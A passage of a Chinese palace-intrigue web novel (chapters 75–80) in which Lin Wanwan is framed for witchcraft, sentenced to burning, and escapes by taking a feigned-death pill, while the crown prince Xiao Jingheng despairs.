力道之大,几乎要捏碎对方的腕骨!
林绾绾猝不及防,痛呼出声。
她对上萧景珩那双翻涌着惊涛骇浪、
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冰冷刺骨的眼眸,瞬间反应过来——
他看到了那枚金昙令!还识得此物!
巨大的慌乱如同冰冷的潮水瞬间将林绾绾淹没。
她下意识地想抽回手,想遮掩,想解释…
但所有的念头,在萧景珩审视的目光下,都显得如此苍白无力!
此刻,赫连灼的话如同魔咒,在林绾绾耳边回响:“你与他,隔着林家上下七十三口的血海深仇!隔着圣公主的血债…”
“北漠王庭的东西…怎么会在你身上?”萧景珩压抑到极致的声音,打破了林绾绾的思绪。
他的目光从令牌缓缓移到林绾绾脸上,试图从她眼中找到一丝慌乱,愧疚或是…辩解。
然而,他只在对方脸上看到了一瞬间的惊惶之后,迅速沉淀下来的、一种近乎绝望的平静。
她甚至…没有立刻否认!
这无声的话语,如同最锋利的**,狠狠捅进了萧景珩的心脏,比蚀魂引的毒更让他痛彻心扉!
萧景珩猛地甩开林绾绾的手,力道之大让虚弱的林绾绾踉跄着撞在冰冷的断墙上。
“说话!”
萧景珩低吼出声,黑眸中燃烧着熊熊怒火。
“这是不是赫连灼给的?他给你这个,是想要你做什么?”
一连串的质问如同冰雹,带着沉重的威压砸下!
林绾绾背靠冰冷墙壁,手腕上残留着萧景珩方才紧握的痛麻感,胸口也传来窒息般的疼痛。
赫连灼的警告与现实冰冷的鸿沟在她心里疯狂撕扯。
告诉萧景珩真相?
告诉他,自己是北漠圣公主之女?
告诉他,皇帝灭了林家是为了夺取母亲跟她这个“药引”?
告诉他,自己已经答应赫连灼,在皇帝下一次杀局中假死脱身,远赴北漠?
不!不能说!
一旦挑明,横亘在他们之间的就不仅仅是猜疑,而是血仇与家国立场的死局!
皇帝是他的生父!大胤是他的江山!
而她…背负着林家血仇还有漠北圣女的身份…
他们之间,从她接受金昙令的那一刻起,就注定…
没有坦途!
萧景珩,他会如何选择?
第75章 环环相扣
林绾绾被巨大的悲哀和决绝瞬间淹没。
她缓缓垂下眼帘,掩去眸中翻涌的痛楚,声音变得平静得没有一丝波澜,其中甚至还了冰冷的疏离。
“令牌是我的私事,与殿下无关。至于赫连灼...他也只是给了我《天医策》,仅此而已。”林绾绾避重就轻的答道
“私事?!”
萧景珩像是听到了什么天大的笑话。
他高大的身影带着浓重的压迫感步步逼近,将林绾绾完全笼罩起来。
“林绾绾!你到底知不知道这是什么?这是金昙令!是北漠王庭圣女的信物!它在你身上,意味着你...”
“意味着什么重要吗?”
林绾绾打断了萧景珩即将出口的,可能彻底撕裂一切的指控!
她的眼中第一次清晰地浮现出带着距离感的锋芒,如同竖起尖刺的刺猬。
“殿下是大胤太子!更是未来的天子!我的身份,我的立场,我的‘私事’...于殿下的大业,于大胤的江山,有何干系?”
她的声音带着一丝不易察觉的颤抖,却字字如冰。
“殿下只需记得,之前在渊阁,我引毒入体救你性命!方才在蛊灾,我耗尽心力为你压制寒毒!”
“我,林绾绾,从未做过半分有害于你的事!殿下记得这个便足够了!”
林绾绾的话语,如同一盆混杂着冰块的冷水,狠狠浇在萧景珩燃烧的怒火之上。
是啊…她救了自己,而且不止一次!
自己现在是以什么立场和身份去质问她的“私事”?
是太子的身份?还是大胤的立场?
那些曾经被他视为理所应当的枷锁,此刻却成了横亘在他们之间最冰冷的讽刺!
巨大的无力感和一种仿佛要失去什么的恐慌攫住了他!
看着林绾绾眼中那冰冷的疏离和倔强,看着她苍白的脸上那抹因激动而泛起的病态嫣红,萧景珩胸口的怒火被一种尖锐的疼痛取代。
他张了张嘴,想说点什么,却发现自己喉咙干涩,发不出一个完整的音节。
那紧握的拳头,指节因用力而泛白,微微颤抖着。
就在这时!
“嘎--!”
一声凄厉的鸦鸣如同信号,骤然划破了栖梧苑死寂的夜空。
紧接着,纷乱而沉重的脚步声如同闷雷,由远及近,迅速包围了整个栖梧苑。
火把的光芒瞬间将残破的庭院照得亮如白昼。
盔甲碰撞的铿锵声,刀剑出鞘的摩擦声,以及一个尖利的嗓音穿透了混乱:
“奉圣逾!搜捕妖女林绾绾!若胆敢反抗,格杀勿论!”
火光映照下,只见庭院入口处,黑压压的御林军如同潮水般涌入。
刀枪雪亮,杀气腾腾!
为首之人,赫然是皇帝身边的大太监总管,高德胜!
他手持明黄圣旨,脸上面无表情,眼底深处带透着刻骨的阴冷。
皇帝的爪牙竟然来得如此之快!还如此之精准!
高德胜的目光如同毒蛇,进到栖梧苑后,瞬间锁定了断墙阴影下,还在彼此“冷战”的太子和林绾绾。
当他看到太子虚弱地靠在墙壁上,身上透出血迹时,暗中飞快闪过一丝惊疑,但随即被更深的阴狠取代。
“太子殿下!”
高德胜尖着嗓子,皮笑肉不笑地躬身行礼。
“老奴奉旨捉拿妖女林绾绾,惊扰殿下养伤,真是罪该万死!但圣命难为!还请殿下…体谅!”
他目光扫过萧景珩身上的血迹,刻意加重了“养伤”二字,带着毫不掩饰地试探。
萧景珩的黑眸瞬间冰封!
他所有的怒火,痛楚以及无力感,在御林军闯入的瞬间,统统被一种专属于太子的威压所取代。
他强撑着剧痛的身体,挡在林绾绾身前。
虽然脸色依旧苍白如纸,气息不稳,但上位者的气势,如同无形的屏障,硬生生让逼近的御林军脚步一滞!
“高德胜!孤在此,何人敢放肆?林绾绾是孤奉皇命亲自看管,尔等持械惊扰,是想**吗?”
萧景珩直接用太子身份和威势压人,强硬无比。
“殿下息怒。”
高德胜眼底闪过忌惮,但仗着圣旨,腰杆又瞬间挺直,声音更为尖利。
“妖女林绾绾,勾结巫邪,于冷宫内私藏巫蛊人偶,意图谋害圣躬!更是豢养毒蛊,残害宫
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人性命!这一切都是证据确凿!”
“此乃铁证!”
他一挥手,一名宫人捧着一个托盘立刻上前。
托盘上,赫然摆放着一个扎满钢针的人偶,以及一个白玉小瓶。
白玉小瓶瓶底,残留着几滴粘稠的、散发腥甜气息的暗红色液体。
那气味竟与血吸瘟蛊的一模一样!
高德胜指了指白玉瓶内的东西,“此物经查验,里面蕴含剧毒蛊虫精元!与现在这里肆虐的蛊虫气息确属同源!王太医,我说得对也不对?”
一直立在高德胜身边的,太医打扮的人,闻声立刻上前两步:“高公公所言甚是。我太医院已经查验过,这两者毒素确实出自同一毒物!”
高德胜摆手让人退下,然后他的手指,直指向太子身后的林绾绾。
“这些东西都是在这妖女休息的冷宫殿内找到的!这些蛊虫也一定就是她私下炼制然后放出来的!”
“胡说八道!”
青蚨怒喝出声,短匕横在胸前。
“这些蛊虫明明是林月瑶引来的!她已经被林小姐击退!这些所谓的“证据”分明就是栽赃陷害!”
“栽赃?”高德胜阴恻恻地开口。
“你说的那个林月瑶,不是早就已经死在天牢里了吗?她哪来这么大的本事死而复生,还能引动如此邪蛊?”
“分明是妖女林绾绾假借他人之手,迷惑太子后,行此滔天罪行!”
“她林家世代行医!饲养这点蛊虫必然不在话下!”
“林家被满门抄斩后,她心怀怨恨,潜入宫中就是为了报复!报复陛下!报复整个大胤!”
高德胜的话语极具煽动性,瞬间点燃了御林军眼中的恐惧和杀意。
“而且!”
高德胜猛地提高了音量,目光如同毒钩般勾向林绾绾。
“据可靠线报!林绾绾曾秘密潜入凝霜馆,与北漠质子赫连灼秘会良久!”
“北漠与我大胤素来不睦!此女身怀邪术,勾结外敌,豢养蛊毒,其心可诛!”
“太子殿下!您还要包庇此等祸国妖女吗?”
高德胜的眼中的得意再也掩饰不住,仿若一切都已经尽在掌握。
第76章 栖梧纠斗
凝霜馆!赫连灼!
所有的“证据”,所有的指控,如同编织成一张密不透风的巨网,将林绾绾死死困在中央。
皇帝的手段,果然狠毒老辣!
不仅利用林月瑶引爆蛊灾制造混乱和**,更提前布置好了“证据”,甚至精准地抓住了她与赫连灼接触的把柄!
人证、物证、动机…环环相扣,滴水不漏!
这根本就是一个为她量身定制的必杀之局!
目的就是要将她彻底钉死在“妖女”的罪名上,光明正大“除掉”她这个心腹大患。将她这个“药引”彻底控制在股掌之间!
萧景珩的脸色阴沉得能滴出水来。
他也瞬间想明白了皇帝的毒计。
看着高德胜那副有恃无恐的嘴脸,看着御林军明晃晃的刀枪,一股暴戾的杀意在他胸腔间疯狂冲撞!
血鸦阁的力量就在附近!只要他一声令下…
“殿下!”
林绾绾平静的声音在萧景珩身后响起,瞬间浇熄了他即将爆发的杀意。
萧景珩猛地回头,看着林绾绾从他身后缓缓走了出来。
火光映照着林绾绾苍白却异常平静的脸。
那双清澈的眼眸中,没有之前的慌乱,痛苦或挣扎。只剩下一种洞悉一切的平静。
林绾绾看也没看那些指向她的“证据”和四周充满敌意的目光,只是深深地、又深深地看了萧景珩一眼。
那一眼,包含的情绪太过复杂——
有歉疚,有不舍,有担忧...
但更多的,是一种无需言说的告别…
她看懂了萧景珩眼中的杀意,也看懂了他想要不惜一切代价护住她的决心。
但,不能!
皇帝此刻或许就在等他的出手!
一旦血鸦阁主的身份暴露,等待着萧景珩的将是比死更可怕的万劫不复!
她之前答应赫连灼的承诺…
时机…或许就在此次…
“高公公。”
林绾绾的声音不高,却清晰地传遍整个死寂的庭院。
“欲加之罪,何患无辞。陛下要我的命,我…认了便是。”
她的话,平静得可怕,甚至还朝着高德胜微微福了福身。
“只是,此事与太子殿下毫无干系。殿下重伤在身,是被蛊灾波及。还望公公明察,莫要让殿下再受惊扰。”
萧景珩闻言目眦欲裂!
她竟然认了?竟然要束手就擒?!
他猛地伸手就要去抓林绾绾,
然而,林绾绾却如同滑溜的鱼儿,灵巧地避开了萧景珩的手,又向前走了两步,彻底将自己暴露在御林军的刀锋之下。
她挺直了背脊,如同风雪中傲立的寒梅,平静地迎向高德胜:“公公,请吧。”
高德胜被林绾绾突如其来的认罪和坦然弄得一愣,随即眼中爆发出狂喜!
这下,省事了!
他尖声道:“妖女伏法!拿下,押入慎刑司,听候陛下发落!”
“放开她!”
萧景珩暴怒!不顾伤势,一掌拍出!
凌厉的掌风将冲在最前面的两名御林军震得口喷鲜血倒飞出去。
“殿下!”
高德胜脸色剧变,厉声道:“您要抗旨吗?陛下有令,若有阻拦,视同谋逆!格杀勿论!”
更多的御林**枪齐指,冰冷的目光齐齐锁定了萧景珩!
气氛剑拔**张,一触即发!
林绾绾见此情形,对着萧景珩厉声喊道:
“太子殿下,住手!我的事,不需要您操心!你难道想背上不忠不孝的骂名?让更多的人为你陪葬吗?”
林绾绾的声音尖锐而凄厉,每个字都狠狠砸在萧景珩的心上!
更多的人…她说的是血鸦阁…
她竟然到了现在,还处处为自己着想!
巨大的无力感如同海啸,瞬间将萧景珩吞没。
他看着被御林军死死钳制,目光决绝的林绾绾…
他引以为傲的智谋,掌控一切的权利...在这一刻显得如此苍白可笑。
他竟…护不住她!
“带走!”
高德胜趁着萧景珩心神剧震的刹那,尖声下令。
御林军不敢再耽搁,粗暴地推搡着林绾绾向外走去。
青蚨握紧短匕,试图上前拼命,却被林绾绾的眼神死死制止。
她不能连累青蚨,更不能连累血鸦阁!
林绾绾被推搡着经过萧景珩身边时,脚步微微一顿。
她没有看萧景珩,只是用只有两个人能听到的、极低极低的气音,飞快地说了一句:
“等我…信我…”
随后,林绾绾
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便被粗暴地拖离了萧景珩的视线,消失在火把通明,刀枪林立的甬道尽头。
空气中只留下淡淡的,独属于她的药草清香,还有她残留在萧景珩掌心的冰冷的触感。
萧景珩如同被抽走了所有力气,高大的身躯踉跄着扶住断墙才勉强站稳。
他盯着林绾绾消失的方向,胸口剧烈起伏。
黑眸中翻涌着足以毁天灭地的风暴,以及一种深不见底的恐慌。
林绾绾被带走,总让他有一股隐隐的不安萦绕在心头,久久不散!
“殿下。”高德胜假惺惺地上前,“您的伤势要紧,老奴这就为您宣太医…”
“给孤滚!”
萧景珩转头,猩红的眼眸如同嗜血的凶兽,死死盯住高德胜!
那眼神似乎要将高德胜生吞活剥一般。
饶是见惯风浪的大太监,瞬间也是遍体生寒,下意识地后退一步,躬身离开。
临离开前,他看到枯井旁有个暗黑的物件,趁人不备,快速将它揣进怀中。
萧景珩不再浪费多余的精力放到高德胜身上。
北漠…金昙令…蛊灾…皇帝的杀局…
无数的线索在他脑海中疯狂旋转,碰撞。
他强迫自己冷静。
越是绝境,越要冷静!
皇帝如此迫不及待,处心积虑地要置林绾绾于死地,恰恰说明林绾绾已经触及到了皇帝至关重要的一环。
对皇帝而言,最重要的是什么…
长生蛊!圣血!
一丝微弱的、如同星火般的希望,在无边的痛楚中艰难地燃烧起来。
“寒鸦!”萧景珩的声音如同来自九幽。
“调集血鸦阁精英,潜入慎刑司,护她周全。有任何风吹草动,即刻来报!”
“给孤查清楚,凝霜馆今天所有人的出入记录以及赫连灼身边所有人的动向!”
“皇帝那边也时刻盯紧。还有…查清楚林月瑶背后的人到底是谁!”
萧景珩的指令斩钉截铁,充满杀伐之气。
寒鸦领命后,瞬间消失。
萧景珩的玄色**袍在夜风中猎猎作响,伤口处的血迹如同盛开的暗夜之花。
他最后看了一眼林绾绾消失的方向,眸中的风暴渐渐沉淀为足以吞噬一切的寒潭。
绾绾…等我!
第77章 雷霆杀局
栖梧苑的蛊灾余烬尚未冷透,一张由钦天监卜辞与皇帝意念交织成的天罗地网,已带着焚尽一切的恶意,铺天盖地地罩向林绾绾。
翌日清晨,紫宸殿。
九龙金漆御座之上,皇帝萧胤的面容隐匿在冕旒珠帘之后,晦暗不明。
他手中把玩着一件通体漆黑、边缘泛着幽冷光泽的令牌——
正是高德胜昨夜从冷宫趁人不备,从地上捡起的血鸦令。
萧胤的指尖在令牌那冰冷的鸦羽浮雕上缓缓摩挲,眼底满是阴鸷与一丝志在必得的贪婪。
“高德胜。”
帝王的声音听不出喜怒,却让侍立阶下的大太监浑身一凛。
“奴才在!”
“传朕口谕。妖女林绾绾,身负萤惑妖星命格,引动邪祟,残害宫闱,其罪滔天,人神共愤!”
“着钦天监正,即刻于午门之外筑‘焚星台’,引天火净世!明日午时,行焚刑!以儆效尤!”
“太子萧景珩,御下不严,有失察之过,禁足东宫,无诏不得出!若太子胆敢踏出东宫一步,东宫上下满门抄斩!”
萧胤的音调没有太大波动,仿佛在诉说一件无关紧要的事情。
“遵旨!”
高德胜不敢有丝毫犹豫,连滚带爬地退下传旨。
焚刑的消息如同瘟疫般,瞬间席卷宫闱。
午门外,巨大的石台在钦天监正的监督下,以惊人的速度垒砌。
周遭浇上了火油,插满了引火的松枝。
钦天监的官员们,身着繁复的祭天法袍,在台前焚香祷告,神情肃穆而诡异。
空气中满是硫磺,火油与一种山雨欲来的沉重压抑。
整个皇城,目光都聚焦在那个即将被天火吞噬的“妖女”身上。
阴暗潮湿的慎刑司深处,最底层的水牢。
冰冷的、散发着腐臭气息的污水波动着,刺骨的寒意顺着脚底直窜头顶。
粗重的铁锁链锁着林绾绾的手腕,将她吊在半空,只有脚尖能勉强触及浑浊的水面。
墙壁上昏暗的油灯投下摇曳的光影,如同鬼魅。
她刚进来没多久,已经知道皇帝判处她“焚刑”的圣谕。
钦天监的“荧惑妖星需隔绝地气”的荒谬说法,让她连转移到普通囚笼里的机会都没有,只能一直呆在水牢里。
林绾绾闭着眼,对周遭的污秽浑然不觉。
她在等。
等赫连灼的回应。
金昙令一直被她贴身藏着,上面的冰魄石正隔着衣物,传来一丝微弱却持续不断的温凉波动。
不知过了多久。
“哗啦...哗啦...”一阵淌水声由远及近。
林绾绾倏然挣开眼。
一个佝偻着背,提着昏暗风灯的老狱卒,慢吞吞地走了过来。
他头发花白,脸上布满皱纹和污垢,眼神浑浊,看起来和这水牢一样腐朽。
他走到林绾绾不远处的干地上停下,放下手中的风灯,从怀中摸出一个看起来又冷又硬的窝头,颤巍巍地递向水牢栅栏缝隙。
林绾绾沉默地看着他,没有开口。
老狱卒看起来似乎有些害怕她一般,使劲缩着脖子。
他浑浊的眼睛,借着低头的功夫飞快地扫了一眼远处几个还在调笑的狱卒。
见他们没有注意到这边,才压低声音,用一种近乎耳语的音量飞快说道:
“主人说,时机已至...金昙花开,漠北归途。”
他的声音含糊不清,如同梦呓一般,但是林绾绾却听得一清二楚。
说完这些,老狱卒像是耗尽了所有力气。
他将窝头往栅栏里一扔,也不管林绾绾有没有接住,提起灯,佝偻着背,蹒跚着转身离开。
身影很快消失在黑暗的牢狱尽头。
金昙花开...漠北归途...
是赫连灼的信号!
皇帝的杀机已至,她当初答应赫连灼的承诺也是时候兑现。
林绾绾缓缓闭上眼,脑海中闪过萧景珩那双痛楚、恐慌的眼睛...
对不起了,萧景珩...
******
东宫,清漪殿。
殿门紧闭,门外面无表情的禁军精锐将东宫守卫得如同铁桶一般,
殿内,气氛压抑得如同即将喷发的火山。
“砰!”
一只上好的青玉茶盏被狠狠掼在地上,粉身碎骨。
萧景珩脸色铁青,胸口剧烈起伏,肩头刚刚包扎好的伤口因愤怒崩裂。
血渍在明黄的太子常服上洇开刺目的暗红。
他刚刚试图强行冲出宫门,却被禁
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军以“圣命难违”为由,被死死拦住!
并告知他,若再强闯,便是坐实抗旨谋逆!
东宫上下乃至禁军皆受株连!
“殿下息怒!”赵乾,寒鸦,素雪等人跪了一地。
“阁中探子已经查明,焚星台周围埋伏了至少三队火铳手,暗处还有皇帝的‘影殿’死士埋伏。若硬闯…十死无生!”
“阁主,陛下这是铁了心要林小姐死!更是要断了您所有营救的可能!”
青蚨脸色苍白,声音里满是颤抖。
萧景珩猩红的黑眸死死盯着墙上悬挂的北漠疆域图,那眼神如同困兽,充满了暴戾与焦灼。
焚刑!天火焚身!
他的好父亲不仅要林绾绾的命,更要她死得身败名裂,魂飞魄散!
他竟…竟只能眼睁睁地看着?!
心口那处火焰印记传来一阵阵尖锐的灼痛,仿佛是感应到了另一印记主人即将面临的灭顶之灾。
昨夜林绾绾最后那句“等我…信我”,如同魔咒般在耳边回响。
信她?如**?
在天火之下,她如何能活?
“赫连灼…”
萧景珩从齿缝里挤出这个名字,带着滔天的恨意。
“他在哪里?凝霜馆有何动静?”
那个该死的北漠质子!他若敢袖手旁观…
他萧景珩穷尽碧落黄泉,必将其**万段!
“凝霜馆…被御林军以‘保护’的名义围得水泄不通!赫连灼自昨夜后便再未露面,其手下也无异动。”
寒鸦的声音带着一丝不解,“仿佛…是无动于衷。”
无动于衷?
不!这绝不可能!
那个北漠质子既然能将那么贵重的金昙令交给林绾绾,怎么可能会坐视林绾绾被处以焚刑!
他一定是在谋划什么!
可他到底会怎么做?
在天罗地网和众目睽睽之下如何救林绾绾?
巨大的无力感和时间流逝带来的恐慌,如同毒蛇般噬咬着他的心脏。
萧景珩猛地一拳砸在坚硬的紫檀木桌案上。
桌案应声裂开一道缝隙。
“给孤盯死凝霜馆!盯死焚星台每一个角落!有任何异常,不计代价,立刻回报!”
萧景珩低吼出声,如同濒死的野兽。
第78章 荧惑焚天
阴暗潮湿的慎刑司牢狱深处。
佝偻的老狱卒在同一时刻再度出现。
如同之前那般,蹒跚着送来一个冰冷的窝头。
同样的动作,同样的含糊低语:
“主人说,火起...风向西...三息...闭气含住...莫睁眼...”
窝头扔进栅栏里面的同时,一道细微的黑影从老狱卒指尖弹出,转瞬投进林绾绾掌心内。
林绾绾下意识握紧手心。
待观察四下无人注意到这里。
她轻轻打开手心,里面是一片黑色花瓣状的物体。
触感微凉,带着一丝奇异的药草香。
林绾绾瞬间明白,这应该是跟林家世代相传的归息丸有异曲同工之效的假死药!
按照赫连灼的说法,需要在火起之后,风向转变的三息时刻,服下这片花瓣药丸,然后闭气假死。
她紧紧攥住这枚冰冷的希望,亦是冰冷的抉择。
赫连灼的计划竟是如此疯狂!
在皇帝、钦天监、数万禁军和皇城百姓的众目睽睽之下,用假死药骗过焚刑!
这其中的风险…
稍有不慎,便是真正的灰飞烟灭。
事已至此,也只能跟着赫连灼一起疯下去了!
萧景珩…
他此刻也必然在想办法救她吧…
想到他猩红痛楚的眼眸,林绾绾的心如同被双手狠狠攥住一般。
萧景珩,对不起…你一定要等我回来…
她在心底默默地重复着承诺….
翌日,午时。
冬日高悬,可却没有让人感到一丝丝的暖意。
午门外,巨大的焚星台如同一头沉默的凶兽,周身散发着硫磺与火油混合的刺鼻气味。
台高丈余,中间矗立着一根粗大的铜柱,上面缠绕着浸满火油的粗麻绳。
台下,黑压压的一片。
文武百官依品级肃立两侧,神色各异。
有惊惧,有默然,更有幸灾乐祸…
更外围,是数不清的皇城百姓。
他们被禁军隔离在远处,伸长了脖子,议论纷纷,脸上交织着恐惧、好奇与一种看热闹的麻木。
此刻,钦天监身着繁复的日月星辰法袍,手持桃木剑,在祭坛前念念有词,做着最后的法事。
高德胜侍立在御辇旁,皇帝萧胤并未亲临,只派他来监刑,其姿态已不言而喻。
气氛肃杀而诡异。
“带妖女林绾绾--!”
随着高德胜尖利的宣喝,沉重的铁链拖曳声由远及近。
林绾绾被两名身材魁梧、面覆黑巾的壮汉押解而来。
她囚衣上沾满了污渍,长发凌乱,嘴唇干裂。
但唯有那双眼睛,沉静得如同寒潭,倒映着头顶的冬日和那高耸的铜柱。
她的手腕和脚腕都锁着沉重的镣铐,每走一步都发出刺耳的摩擦声。
林绾绾的出现,瞬间引爆了人群的骚动。
各种指指点点,污言秽语如同潮水般向她涌去。
“看!那就是那个妖女!”
“长得倒是标志,心肠怎么那么歹毒!”
“烧死她!烧死妖星!”
“荧惑祸世,天火净之!”
林绾绾对周遭的声音恍若未闻,目光平静地扫过人群,扫过那些或麻木或狂热的眼睛。
最后,她的视线似乎不经意地掠过高台一角——
那里是通往东宫宫门方向。
接着,她缓缓闭上了眼睛,仿佛已认命。
“绑上铜柱!”高德胜厉声下令。
两名壮汉粗暴地将林绾绾拖上高台,用浸透火油的粗麻绳将她牢牢捆缚在冰冷的铜柱上。
绳索深深勒紧了林绾绾的皮肉,火油刺鼻的气味拼命往她鼻腔里钻。
钦天监正停止了舞蹈,高举桃木剑,对着太阳,声音洪亮而肃穆:
“荧惑乱世,妖星降灾!今奉天命,引九天真火,焚此妖邪,还我朗朗乾坤!”
“吉时已到——点火!”
“点火!”高德胜尖声重复!
两名手持熊熊燃烧火把的力士,迈着沉重有力的步伐,一步步走向高台!
炽热的火焰在冬日下跳动着死亡的光芒,灼热的气浪扑面而来。
台下,无数双眼睛死死盯着那高举的火把,屏住了呼吸。
百官中有人不忍地别过头。
百姓群中却爆发出更加狂热的呼喊:
“烧死她!烧死她!”
******
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>东宫方向,被重兵重重围困的清漪殿内。
萧景珩一拳砸在紧闭的窗棂上!
木屑纷飞!
他双目赤红如血,死死盯着午门方向,仿佛要穿透重重宫墙,看到那令他心胆俱裂的一幕!
心口的火焰印记灼痛得如同要炸裂开一般。
******
高台上。
火把带着毁灭的气息,猛地伸向林绾绾脚下堆砌的、浇透了火油的松枝。
就在火焰即将舔舐到引火物的千钧一发之际!
“呜--!”
一阵极其突兀、尖锐的破空厉啸,毫无征兆地从某个方向的高空传来!
所有人都被这突如其来的异响惊得一愣,下意识抬头望去。
只见一道幽蓝色的、如同鬼火般的焰火,拖着长长的尾焰,如同流星般划过。
随后,以迅雷不及掩耳之势,精准无比地射向焚星台旁,那堆备用的、尚未开封的巨大火油桶上!
“轰隆!!!”
震耳欲聋的恐怖**声,撕裂了午门死寂的空气!
大地都随之颤抖,仿佛地龙翻身!
那数桶火油被幽蓝光焰精准引爆,化作一片冲天而起的巨大火海。
粘稠燃烧的火油,如同地狱岩浆般四处飞溅。
距离最近的两名点火力士瞬间被火浪吞噬,发出凄厉至极的惨嚎。
滚烫的油点如同雨点般溅射向高台和台下的人群。
“啊——!火!火油炸了!”
“救命啊!”
突如其来的恐怖**和漫天火雨,瞬间让整个午门乱成了一锅粥。
原本肃穆庄严的刑场,变成了人间地狱!
官员们抱头鼠窜。
百姓们惊恐哭嚎着四散奔逃,互相践踏。
禁军被这突如其来的袭击和混乱的人群冲得阵型大乱。
禁军统领厉声嘶喊着,试图维持秩序,却被混乱的人流裹胁,离着禁军的队伍越来越远。
“保护监正,保护高公公!”
火铳手和暗处影殿的死士也被这**打乱了部署。
一部分人本能地扑向混乱的中心试图灭火救人,另一部分则惊疑不定地看向幽蓝焰光射来的方向。
就是现在!
第79章 身死魂销
高台之上,**产生的巨大气浪和飞溅的零星火油,同样冲击着铜柱,
林绾绾被气浪冲击得气血翻涌。
捆缚的绳索也勒得更紧了。
但她等待的就是这混乱到极致的瞬间。
混乱的气流裹挟着刺鼻的浓烟和热浪,正猛烈地从西面吹来!
风向!
她毫不犹豫,舌尖猛地一顶。
那枚一直含在舌下,早已被体温微微暖化的金昙花瓣状假死药丸,瞬间被压碎!
一股极其辛辣、苦涩、带着浓烈冰寒气息的药液顺着喉咙滑下。
药液所过之处,如同冰线入喉。
三息!只有三息!
她按照赫连灼的指示,在药力化开的瞬间,猛地闭住呼吸。
一股无法抗拒的强烈麻痹感和冰冷瞬间席卷全身。
心脉和所有生机也随之闭锁,如同冬眠的玄龟。
意识如同坠入了无尽深海,迅速沉沦、消散。
林绾绾的心跳在药力作用下,以一种诡异的速度迅速减缓、直至微不可察。
体温极具下降!
呼吸彻底停止!
脸色由苍白转为一种死气沉沉的青灰!
此刻的林绾绾,整个人如同被抽走了所有生机,软软地垂挂在铜柱上,仿佛一具真正的尸体。
这一切发生在电光石火之间!
在冲天火海、混乱人群和漫天浓烟的掩护下,几乎无人察觉高台上这细微的变化。
“妖女!快!快点火!完成皇上的旨意要紧!烧死她!”
高德胜被**震得灰头土脸,帽子都歪了,脸上还被飞溅的碎石划开一道血口。
他惊恐地看着乱成一锅粥的刑场,气急败坏地指着高台上的林绾绾嘶吼,生怕出什么变故。
高德胜心中只有一个念头:哪怕是天塌地陷,也要亲眼看着林绾绾化成灰。
混乱中,一名离得较近,脸上被飞溅火油烫出血泡的壮汉,忍着剧痛,抓起一支被**气浪掀翻在地却依旧燃烧着的火把,跌跌撞撞地扑向高台。
他眼中充满了恐惧和一种扭曲的疯狂,只想尽快结束这诡异的一切!
“**吧!妖女!”
他吼叫着,将燃烧的火把狠狠扔向林绾绾脚下那堆引火的松枝。
“呼--!”
沾满火油的松枝瞬间被点燃!
橘黄色的火焰如同贪婪的毒蛇般,猛地窜起,沿着浇透火油的绳索,以惊人的速度向上蔓延!
瞬间就将林绾绾的下半身吞噬在熊熊烈焰之中!
刺目的火光,映亮了混乱的午门,映亮了无数惊恐的脸。
也映亮了远处——
东宫清漪殿那扇被强行破开一条缝隙的窗棂后,萧景珩那双瞬间失去所有光彩,只剩下无边绝望和毁灭的猩红眼眸!
“不--!”
一声凄厉绝望、如同孤狼泣血般的嘶吼,穿透了清漪殿的宫墙,在混乱的午门上空隐隐回荡。
却瞬间,被更大的**余波和人群的哭喊声淹没。
火焰无情地吞噬着铜柱上的身影。
那单薄的身影在烈火中迅速蜷缩,焦黑…
空气中,弥漫开皮肉烧焦的可怕气味….
午门的混乱,持续了足有一刻钟,才在禁军铁血**下勉强平息。
高台上已成一片焦黑,铜柱上只剩下一个人形的焦炭轮廓,狰狞可怖。
“去,回禀陛下…”
高德胜看着那具焦尸,心有余悸地对着匆匆赶来的小太监道,“妖女林绾绾,已伏诛!焚于天火,形神俱灭!”
很快,这消息如同长了翅膀一般,飞向皇宫深处,飞向被重兵重重围困的东宫。
清漪殿内,死一般的寂静。
萧景珩如同被抽走了魂魄的雕塑,直挺挺地站在窗边,望着午门方向那尚未散尽的滚滚黑烟。
肩头的伤口早已崩裂,鲜血浸透了半边衣袍,顺着指尖滴落在地,他全浑然不觉。
他手中紧紧攥着一枚被捏得变形的血鸦令碎片。
锋利的令牌边缘深深割入掌心,鲜血淋漓,他却感觉不到丝毫疼痛。
只有心口那处火焰印记,传来一阵阵足以撕裂灵魂的灼痛,仿佛在哀嚎,在告诉他…
那个与他寒毒同源,生死与共的人…
已经不在了!
焚于天
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火…形神俱灭…
林绾绾最后那句…“等我…信我…”…
巨大的空洞和冰冷的绝望如同无底的深渊,将他彻底吞噬。
他缓缓地转过身。
那双曾经深邃睿智、曾翻涌着无数谋算的黑眸,此刻只剩下一片死寂的、深不见底的灰暗。
“查!”
一个破碎至极的声音,从萧景珩干裂的唇间挤出,冰冷得不带一丝人味。
“给孤…一寸寸地…验那焦尸!孤要知道,她最后…每一寸骨头的样子!”
寒鸦看着自己心中如神祇一般的人,此刻如同被彻底摧毁的模样,心中剧痛。
他不敢有丝毫迟疑:“遵命!”
紫宸殿内。
皇帝萧胤听着小太监的奏报,嘴角的笑意再也掩盖不住,形成一个扭曲而狂喜的弧度,露出森白的牙齿。
纯净的…被天火淬炼过的…圣血之魂….
他闭上眼,贪婪地深深吸了一口气。
空气中仿佛都蕴含着那被焚毁的灵魂散发出的、令他迷醉的香味。
“长生蛊…朕的…长生蛊…”
萧胤喃喃自语,眼神狂热,仿佛看到“药引”已经被投入紫金丹炉,随后炉中孕育完成了让他永享帝位,睥睨众生的神物!
想到这,萧胤得逞的狂笑在殿内不停回荡。
他脸上每一道皱纹似乎都舒展开来,洋溢着一种近乎癫狂的、志得意满的喜悦。
什么父子人伦,什么江山社稷,在这一刻,都比不上那炉中即将成型的“长生”希望!
焚星台的余烬在太阳下散发着最后的青烟。
焦黑的铜柱上,那具人形的残骸,在禁军的看守下,等待着最终的“验明正身”。
而此刻,在混乱中,一辆悄悄远离刑场的破旧板车上,上面躺着几个被火油灼烧的宫人。
中间位置,一个被黑色油布严密包裹,气息微弱到几乎消失的纤细身影,也随着车轮的颠簸,缓缓驶向皇宫西北角那座冷宫宫苑。
金蝉,已悄然脱壳。
留下的,是足以焚毁理智的绝望灰烬,和即将席卷而来的、更加狂暴的复仇风暴!
第80章 残骸惊魂
东宫,清漪殿内。
死寂如同实质的冰层,冻住了空气,也冻住了时间。
萧景珩依旧立在窗边,维持着那个凝固般的姿势,浑身上下已被绝望完全浸透。
窗棂那处被强行破开的缝隙,透进一缕午后的惨淡天光。
光线斜斜地打在他半边脸上,另一半则陷在深沉的阴影里。
